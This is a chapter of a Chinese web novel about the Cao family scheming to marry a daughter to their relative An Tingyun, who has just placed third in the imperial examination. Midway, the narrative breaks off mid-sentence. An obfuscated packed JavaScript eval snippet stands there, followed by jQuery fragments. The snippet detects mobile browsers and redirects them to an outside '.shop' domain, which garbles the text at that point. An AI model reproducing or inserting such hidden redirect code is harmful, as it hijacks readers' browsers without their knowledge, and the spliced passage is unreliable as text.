柳静钗怔愣了半晌，才回过神来，难以置信道：“您不是说要把晚丫头许配给亭蕴吗？怎么如今又变成金丫头了？”


    曹望打了个酒嗝，酒意上涌，浑不在意地摆了摆手：“嗐，此一时彼一时罢了。当初我是提过晚丫头，可你不是嫌他是个穷酸举子，家底单薄，死活不乐意么？


    再者，那时候我是打定主意要把大姐儿许给襄阳王的，谁成想，大姐儿跟襄阳王的婚事黄了。”


    他又咂咂嘴接着道：“如今倒好，亭蕴一举高中探花，前程无量。大姐儿的年纪与亭蕴正相当，郎才女貌，说起来也算是天作之合。


    晚丫头还小呢，离及笄还有两年的光景。亭蕴已是弱冠之年，又有功名在身，汴京城多少双眼睛盯着他，万一被别家捷足先登抢了去，咱们就是肠子悔青了也没用。”


    柳静钗心里五味杂陈，悔得肠子都青了。


    当初她嫌弃安亭蕴出身寒微，料定他难成大器，谁能想到，人家是个深藏不露的真才子。


    这么一个现成的金龟婿，平白便宜了宋夫人的女儿，她如何甘心。


    曹望瞧出了她的心思，伸手拍了拍她的肩膀，温言劝慰道：“好了好了，静钗，你也别恼。咱们的女儿，还愁找不到好人家？日后我定然为咱们晚丫头，寻一门富贵体面的好亲事，包管不叫你失望。”


    柳姨娘依偎在他怀中，低着头一言不发，心里偷偷打起了小算盘，琢磨着该给女儿寻个什么样的人家才好。


    可思来想去，只觉得安亭蕴是再好不过的人选，只可惜自家女儿年纪太小，整整比安亭蕴小了七岁。


    曹晚书如今还是个稚气未脱的小丫头，年龄毕竟摆在那里，总不能让人家探花郎等上她两年。


    放榜的喜气还未散尽，官家便摆驾金明池，设宴款待今科新贵。安亭蕴早早起身，将那套预备妥当的官服穿戴齐整。


    头上一顶长翅乌纱帽，一侧插了朵碗口大的猩红绢花，身上一领鹦哥绿的崭新官袍，衬得他面如傅粉，眼似点漆，端的是一位风流俊俏的探花郎。


    曹晚书一溜小跑跟在他身后，嘴甜得像抹了蜜，连声奉承：“二表哥真真是文曲星下凡，蟾宫折桂，拔得头筹，妹妹给您道喜啦！”


    安亭蕴嘴角噙着一抹温润的笑意，回身虚扶了她一把：“五妹妹这张巧嘴儿，尽会拣好听的话说。我能有今日，不过是托了妹妹的福气罢了。”


    “二表哥忒也谦虚了，这福气可是实打实落在您头上的。”曹晚书眨巴着一双杏眼，望着表哥这身通身的气派。


    不知怎地，忽地想起《诗经》里夸赞美男子的句子，“有匪君子，如切如磋，如琢如磨”，可不正是眼前这人活生生的写照么？


    曹家几位姑娘，连同曹晚书在内，都央告了长辈，要去金明池开开眼界，瞧瞧新科进士游街的排场。


    谁知通往金明池的大道，早被看热闹的男男女女挤得水泄不通，车马寸步难行，众人只得下了车，在人潮里慢慢往前捱。


    这一路上，曹望那张脸绷得紧紧的，一双眼睛死死黏在安亭蕴身上，半步都不肯离开。


    他防的是甚？


    还不是防那些榜下捉婿的权贵人家！


    汴京城里多少富贵门第，都盯着这些新出炉的进士老爷，尤其是安亭蕴这般年轻俊俏的，更是众人争抢的香饽饽。


    他曹望可是老早就瞧准了这块肥肉，一心盘算着收作自家东床快婿，焉能让旁人半道截了胡？


    手快有，手慢无，这个道理他门儿清。


    好容易挨到金明池边，安亭蕴随着状元、榜眼一同登上官船，在碧波之上赴宴去了。


    曹望这才抹了把额头的冷汗，长长地吁了口气。


    金明池外头，除了那些奉命捉婿的豪奴家丁，还挤满了花枝招展的大姑娘小媳妇，一个个伸长了脖颈，踮着脚尖，只为一睹那传闻中如谪仙下凡的探花郎风采。


    晚书心里暗暗感叹，这般光景，真是应了王安石那句诗：“却忆金明池上路，红裙争自绿衣郎。”


    今年的状元刘掩，是个年过花甲的老学究，胡子都白了，莫说妻妾成群，怕是重孙子都能打酱油了，自然无人问津。


    最抢手的，当属贺榜眼与探花安亭蕴。


    曹晚书曾听大姐曹金书嚼舌根：放榜那日，贺榜眼刚出贡院，就被礼部尚书府的家丁一窝蜂扛了回去。


    尚书大人连哄带吓，当场便将自家闺女许配给他，还拍着胸脯说不要聘礼，反倒贴丰厚嫁妆。


    “真是‘十年寒窗无人问，一朝成名天下知’啊。”贺榜眼坐在官船之上，望着满池碧波，忍不住慨然长叹，说罢举起满斟的金杯，一仰脖便饮了个干净。


    老状元刘掩捋着雪白的长髯，附和道：“万般皆下品，唯有读书高哇。老夫活了这一把年纪，总算是尝透了这句话的滋味。”


    贺榜眼又给自己斟满一杯酒，转头冲着安亭蕴举杯笑道：“安贤弟年少英才，一举高中探花，当真是了不得。”


    安亭蕴浅浅一笑，举杯还礼，语气谦和：“贺兄谬赞了。小弟才疏学浅，不及贺兄万一。”


    宴罢，众进士大多喝得东倒西歪，被家人仆从搀扶着各自回去。


    安亭蕴也带了几分醉意，缓步踱回曹府。


    曹老太太提前得了信，忙不迭吩咐厨房熬了浓浓的醒酒汤，守着他咕咚咚喝了下去。


    安亭蕴起身对着曹老太太躬身作揖，言说明日便要搬离曹府，多谢府上这些时日的盛情款待。


    曹老太太哪里肯依，拍着床沿嗔怪道：“好哥儿，你莫不是中了探花，就嫌弃我这老婆子了？不许走，就在府里住着！”


    安亭蕴再三推辞不过，只得暂时应承下来。


    原来官家另有恩典，赐下三千贯铜钱，专供这班新科贵胄宴饮交际。


    惯例是以状元为首，众人依次做东，日日笙歌，夜夜宴席，名为联络同年情谊，实则是借机攀结人脉，为日后的官场铺路。


    可这三千贯铜钱，听着数目不小，真要撒开了花用，压根不够使。想要置办一场像样的酒席，没有万贯家财打底，根本打不住。


    安亭蕴心里自有盘算，自家根基浅薄，没必要用这许多银钱去填无底洞。


    况且酒席之上结交的，多是些酒肉朋友，能有几分真心实意？倒不如不去的好。


    官家赏赐的这三千贯钱，他转眼便在汴京城寻了一处寻常宅院置办下来，又买了一匹脚力尚可的骟马代步。几番开销下来，那笔赏钱也就见了底。


    房子既已买下，便再无继续借住曹府的道理。


    临搬走的前一日，曹望


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202121|197234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心里那点小九九再也按捺不住，催着宋氏去探探安亭蕴的口风。


    厅堂之内，曹望看着安亭蕴，搓着手掌，嘿嘿干笑几声，话在嘴边滚了几滚，怎么也说不出口。


    宋夫人也在一旁陪着笑脸，一时不知如何启齿。


    安亭蕴是个伶俐通透人儿，早瞧出这对夫妇肚里的盘算，索性主动开口，打破了这份尴尬：“舅舅、舅母可是有什么吩咐？不妨直言。”


    宋夫人连忙接过话头，脸上堆满了殷勤的笑意：“亭蕴啊，你今年该是二十整了吧？弱冠之年，正是成家立业的好时候。


    如今你金榜题名，功名已就，舅母想着给你说门亲事。咱们两家亲上加亲，你早日成家立室，岂不是好上加好？”


    曹望在一旁连连点头如捣蒜，其实这番算计，从安亭蕴进京赶考之前就开始了。


    他先是特意托人传话给山东安家，邀他来府中住下，为的就是近水楼台先得月。


    如今安亭蕴受了曹府这许久的恩惠，这门亲事，总不好推脱了吧？


    不料安亭蕴脸上的笑容淡了几分，他早料到曹望属意的是哪个女儿，当下便起身拱手，言辞恳切地推辞道：“舅母厚爱，亭蕴铭感五内。只是侄儿虽侥幸得中，如今不过是个翰林院编修的七品微职，俸禄微薄，根基未稳。侄儿想着再等上几年，待仕途稍有进益，立稳了脚跟，再议婚娶之事也不迟。”


    他这番话意思表达得明明白白：眼下，他不打算成亲。


    曹望皱起眉头，失声道：“啊？你的意思…是这两年都不娶了？”


    他心里可是急坏了！


    翰林院编修虽说是个小官，却是清贵无比的差事，常在御前行走，日后的前程不可限量。


    这么好的金龟婿，怎能眼睁睁放过呢。


    安亭蕴态度十分坚定：“正是，侄儿眼下不打算娶妻。”


    宋夫人心里飞快地盘算起来：她的大女儿金书，今年已经十七岁，正是花儿一样的年纪，哪里等得起两年？


    待到十九岁，早已过了婚配的好时候，好人家可就难寻了。次女玉书，她是存了心要送进宫里博富贵的，断不能便宜了安亭蕴。


    剩下的，便是大房王夫人那边的兰书，还有眼前这个庶出的晚书了。兰书是大房的姑娘，这好女婿千万不能落到大房手里。


    这么算来算去，只剩下晚书一个人选。


    只恨这丫头是柳姨娘肚皮里爬出来的，不过倒还乖巧懂事，知道孝顺长辈，模样也生得周正，过两年正好及笄。


    反正都是曹家的孩子，跟亲生的也没两样，只是讨厌她那个眼皮子浅的亲娘罢了。


    这么一想，宋夫人脸上又绽开了笑容：“好，好，过两年就过两年。哥儿有志气，想先立业后成家，舅母懂。只是哥儿啊，”她话锋一转，“到那时候，可别忘了咱们曹家，别忘了你这些妹妹们呀！”


    安亭蕴听出了她话里的弦外之音，当即郑重道：“舅舅舅母放心，滴水之恩，当涌泉相报。曹府待亭蕴的这份恩情，亭蕴时刻铭记在心，不敢或忘。”


    宋夫人最是惯会察言观色，见好就收，立刻岔开了话头，亲热地拉着家常：“哥儿真是个知恩图报的好孩子，等你回山东见着你爹娘，千万替我们问好，就说我们这边府里，上上下下都惦记着他们呢！”